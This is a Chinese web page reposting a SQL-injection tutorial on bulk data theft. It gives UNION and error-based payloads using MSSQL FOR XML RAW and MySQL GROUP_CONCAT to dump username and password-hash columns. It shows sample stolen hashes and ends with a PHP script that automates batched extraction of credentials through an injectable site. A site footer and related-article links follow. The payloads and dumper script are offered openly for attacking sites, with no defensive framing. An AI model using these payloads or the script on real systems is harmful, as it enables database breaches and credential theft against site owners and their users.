SQL注入中获取数据的一些技巧分析
一、MSSQL 数据库批量数据提取方案
在 MSSQL 数据库的批量数据提取场景中,FOR XML RAW 是一种经典且高效的技术方案,就连早期的 MSSQL 2000 版本也能良好兼容。无论是通过 UNION SELECT 进行联合查询,还是利用显错式注入机制,该方法均可稳定实现数据获取。以 MSSQL 2005 环境为例:
免费影视、动漫、音乐、游戏、小说资源长期稳定更新! 👉 点此立即查看 👈
select username from members where 1=2 union select top 3 username from members for xml raw
执行后将返回以下格式的 XML 数据(若存在重复用户名,系统会自动去重):
|
|
|
另一种常见的显错注入实现方式如下:
select username from members where 1=(select top 3 username from members for xml raw)
数据库在类型转换时会触发错误提示,同时将查询结果一并输出:
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '|
|
' to data type int.
因此,在面对数据量庞大、缺乏 WebShell 但存在 SQL 注入漏洞的场景时,采用 FOR XML RAW 语句进行批量数据提取是行之有效的策略。为确保查询稳定性,建议结合 TOP 关键词对单次获取的数据量进行限制,例如每次提取 100 条记录,以避免因数据量过大而导致的意外错误。后续只需通过脚本或程序对返回的 XML 格式字符串进行解析即可完成数据收集。
二、MySQL 数据库批量数据提取技巧
在 MySQL 数据库中,GROUP_CONCAT() 函数自 4.1 版本起便成为数据聚合的常用工具。多数开发者熟悉其用于一次性获取表名或列名等元数据的场景,但事实上,该函数同样适用于批量注入与业务数据的高效提取,能大幅提升数据获取效率。
需注意的是,GROUP_CONCAT() 在与 LIMIT 子句直接配合时可能出现限制失效的情况,这通常是因为聚合操作优先于分页执行。此时函数会尝试一次性读取大量数据(读取上限受 group_concat_max_len 系统变量控制,默认仅为 1024 字节),而对于大多数实际业务表而言,数据量远超此阈值。若无法与 LIMIT 协同工作,如何实现数据分批提取呢?
实际上,只需对 SQL 语句结构进行简单调整,即可让两者协同运作:
select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A
执行后将返回如下格式的字符串:
guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
通过此方法,只需对结果字符串进行简单分割,即可清晰获得前三条记录信息。为控制单次响应数据量,建议将每次查询的数据条数限制在 100 条以内,这样既保证效率,又避免因数据过长引发传输或解析问题。
三、MySQL GROUP_CONCAT 批量数据获取示例代码(每次提取 50 条)
以下提供一个基于 PHP 的脚本示例,展示如何通过分批查询实现大数据量提取:
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//此处省略具体的HTTP请求发送代码
//注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
路由器防止ARP欺骗的设置步骤
第一步:访问网吧路由器管理界面,在左侧菜单栏找到“IP与MAC绑定”功能入口 第二步:进入“静态ARP绑定设置”配置页面 请注意一个关键设置细节:ARP绑定功能默认处于关闭状态。您需要主动勾选“启用”选项,并点击保存按钮,才能激活该防护功能。 第三步:实施IP地址与MAC地址绑定操作 绑定地址主要有
DNS攻击的主要方式有哪些
DNS攻击的主要方式解析 构建有效的DNS安全防御体系,第一步是深入了解攻击者的战术与手段。本文将系统解析当前主流的DNS攻击方式,揭示其运作原理与潜在危害,帮助读者从攻防两端建立全面的认知。 运用DNS服务器实施DDoS攻击 常规的DNS递归查询流程,可能被恶意扭曲为一种隐蔽的攻击武器。典型的攻击
黑客大战直播网址 黑客大战直播2015
2015黑客大战全程直播:全球顶尖黑客对决实况追踪 全球网络安全行业与众多技术爱好者,正密切关注2015年黑客攻防赛事的最新战况。当前比赛对抗激烈,攻防转换速度极快。根据实时数据显示,中国网络安全团队在技术上展现出了明显的领先优势,已成功渗透并控制了多个对手设立的靶标系统。除美国赛队仍在进行有序的抵
必须了解的黑客入侵网站的十条原因及相应抵御方法
十大Web安全威胁,你都了解吗? 1 桌面系统漏洞 谈起网络威胁,桌面系统的漏洞永远是黑客的“老牌”切入点。无论是Internet Explorer、Firefox,还是广泛使用的Windows操作系统,都曾存在或依然潜藏着安全缝隙。尤其是在用户疏于安装补丁的情况下,这些缝隙就成了黑客的“高速公路
通过ssh反向连接内网主机的方法(防火墙的主机)
一、SSH反向连接内网主机详解 当目标主机处于防火墙或网络地址转换(NAT)设备后方时,传统的SSH直连方式往往无法奏效。此时,借助SSH反向连接技术,即可由内网主机主动向外网控制端发起连接,构建一条可靠的加密访问通道。这项技术的原理看似复杂,实际操作只需遵循清晰的“四步法”即可轻松完成。 首先,请
- 日榜
- 周榜
- 月榜
1
2
3
4
5
6
7
8
9
10
相关攻略
2015-03-10 11:25
2015-03-10 11:05
2021-08-04 13:30
2015-03-10 11:22
2015-03-10 12:39
2022-05-16 18:57
2025-05-23 13:43
2025-05-23 14:01
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程
热门话题

